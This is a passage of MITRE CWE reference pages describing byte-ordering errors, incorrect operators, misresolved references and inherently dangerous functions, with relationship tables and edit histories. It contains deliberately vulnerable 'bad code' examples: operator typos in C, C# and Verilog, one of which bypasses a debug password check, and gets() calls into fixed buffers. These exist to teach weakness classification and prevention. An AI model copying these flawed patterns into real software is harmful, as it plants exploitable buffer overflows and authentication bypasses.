For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.188Reliance on Data/Memory Layout
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Detection Methods

Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-reported.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERNumeric Byte Ordering Error
The CERT Oracle Secure Coding Standard for Java (2011)FIO12-JProvide methods to read and write little-endian data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Detection_Factors, Relationships, Research_Gaps, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Numeric Byte Ordering Error

CWE-480: Use of Incorrect Operator

Weakness ID: 480
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
+ Extended Description
These types of errors are generally the result of a typo by the programmer.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.670Always-Incorrect Control Flow Implementation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.481Assigning instead of Comparing
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.482Comparing instead of Assigning
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.597Use of Wrong Operator in String Comparison
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.133String Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.569Expression Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Perl (Sometimes Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Alter Execution Logic

This weakness can cause unintended logic to be executed and other unexpected application behavior.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

(bad code)
Example Language:
int isValid(int value) {
if (value=100) {
printf("Value is valid\n");
return(1);
}
printf("Value is not valid\n");
return(0);
}
(bad code)
Example Language: C# 
bool isValid(int value) {
if (value=100) {
Console.WriteLine("Value is valid.");
return true;
}
Console.WriteLine("Value is not valid.");
return false;
}

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

(bad code)
Example Language:
#define SIZE 50
int *tos, *p1, stack[SIZE];

void push(int i) {
p1++;
if(p1==(tos+SIZE)) {

// Print stack overflow error message and exit
}
*p1 == i;
}

int pop(void) {
if(p1==tos) {

// Print stack underflow error message and exit
}
p1--;
return *(p1+1);
}

int main(int argc, char *argv[]) {

// initialize tos and p1 to point to the top of stack
tos = stack;
p1 = stack;
// code to add and remove items from stack
...
return 0;
}

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

Example 3

The example code below is taken from the CVA6 processor core of the HACK@DAC'21 buggy OpenPiton SoC. Debug access allows users to access internal hardware registers that are otherwise not exposed for user access or restricted access through access control protocols. Hence, requests to enter debug mode are checked and authorized only if the processor has sufficient privileges. In addition, debug accesses are also locked behind password checkers. Thus, the processor enters debug mode only when the privilege level requirement is met, and the correct debug password is provided.

The following code [REF-1377] illustrates an instance of a vulnerable implementation of debug mode. The core correctly checks if the debug requests have sufficient privileges and enables the debug_mode_d and debug_mode_q signals. It also correctly checks for debug password and enables umode_i signal.

(bad code)
Example Language: Verilog 
module csr_regfile #(
...
// check that we actually want to enter debug depending on the privilege level we are currently in
unique case (priv_lvl_o)
riscv::PRIV_LVL_M: begin
debug_mode_d = dcsr_q.ebreakm;
...
riscv::PRIV_LVL_U: begin
debug_mode_d = dcsr_q.ebreaku;
...
assign priv_lvl_o = (debug_mode_q || umode_i) ? riscv::PRIV_LVL_M : priv_lvl_q;
...
debug_mode_q <= debug_mode_d;
...

However, it grants debug access and changes the privilege level, priv_lvl_o, even when one of the two checks is satisfied and the other is not. Because of this, debug access can be granted by simply requesting with sufficient privileges (i.e., debug_mode_q is enabled) and failing the password check (i.e., umode_i is disabled). This allows an attacker to bypass the debug password checking and gain debug access to the core, compromising the security of the processor.

A fix to this issue is to only change the privilege level of the processor when both checks are satisfied, i.e., the request has enough privileges (i.e., debug_mode_q is enabled) and the password checking is successful (i.e., umode_i is enabled) [REF-1378].

(good code)
Example Language: Verilog 
module csr_regfile #(
...
// check that we actually want to enter debug depending on the privilege level we are currently in
unique case (priv_lvl_o)
riscv::PRIV_LVL_M: begin
debug_mode_d = dcsr_q.ebreakm;
...
riscv::PRIV_LVL_U: begin
debug_mode_d = dcsr_q.ebreaku;
...
assign priv_lvl_o = (debug_mode_q && umode_i) ? riscv::PRIV_LVL_M : priv_lvl_q;
...
debug_mode_q <= debug_mode_d;
...
+ Observed Examples
ReferenceDescription
Chain: data visualization program written in PHP uses the "!=" operator instead of the type-strict "!==" operator (CWE-480) when validating hash values, potentially leading to an incorrect type conversion (CWE-704)
Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)
+ Detection Methods

Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.871CERT C++ Secure Coding Section 03 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1307CISQ Quality Measures - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUsing the wrong operator
CERT C Secure CodingEXP45-CCWE More AbstractDo not perform assignments in selection statements
CERT C Secure CodingEXP46-CCWE More AbstractDo not use a bitwise operator with a Boolean-like operand
Software Fault PatternsSFP1Glitch in Computation
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289. 1st Edition. Addison Wesley. 2006.
[REF-1377] "csr_regile.sv line 938". 2021. <https://github.com/HACK-EVENT/hackatdac19/blob/57e7b2109c1ea2451914878df2e6ca740c2dcf34/src/csr_regfile.sv#L938>. URL validated: 2023-12-13.
[REF-1378] "Fix for csr_regfile.sv line 938". 2021. <https://github.com/HACK-EVENT/hackatdac19/blob/a7b61209e56c48eec585eeedea8413997ec71e4a/src/csr_regfile.sv#L938C31-L938C56>. URL validated: 2023-12-13.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2023-11-07Chen Chen, Rahul Kande, Jeyavijayan RajendranTexas A&M University
suggested demonstrative example
2023-11-07Shaza Zeitouni, Mohamadreza Rostami, Ahmad-Reza SadeghiTechnical University of Darmstadt
suggested demonstrative example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Description, Detection_Factors, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, References
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Using the Wrong Operator

CWE-706: Use of Incorrectly-Resolved Name or Reference

Weakness ID: 706
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.66Improper Handling of File Names that Identify Virtual Resources
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.178Improper Handling of Case Sensitivity
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.386Symbolic Name not Mapping to Correct Object
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.827Improper Control of Document Type Definition
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.99Improper Control of Resource Identifiers ('Resource Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.178Improper Handling of Case Sensitivity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-242: Use of Inherently Dangerous Function

Weakness ID: 242
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a function that can never be guaranteed to work safely.
+ Extended Description
Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. Similarly, the >> operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the >> operator and overflow the destination buffer.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1177Use of Prohibited Code
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1228API / Function Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The code below calls gets() to read information into a buffer.

(bad code)
Example Language:
char buf[BUFSIZE];
gets(buf);

The gets() function in C is inherently unsafe.

Example 2

The code below calls the gets() function to read in data from the command line.

(bad code)
Example Language:
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}

However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

+ Observed Examples
ReferenceDescription
FTP client uses inherently insecure gets() function and is setuid root on some systems, allowing buffer overflow
+ Potential Mitigations

Phases: Implementation; Requirements

Ban the use of dangerous functions. Use their safe equivalent.

Phase: Testing

Use grep or static analysis tools to spot usage of dangerous functions.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

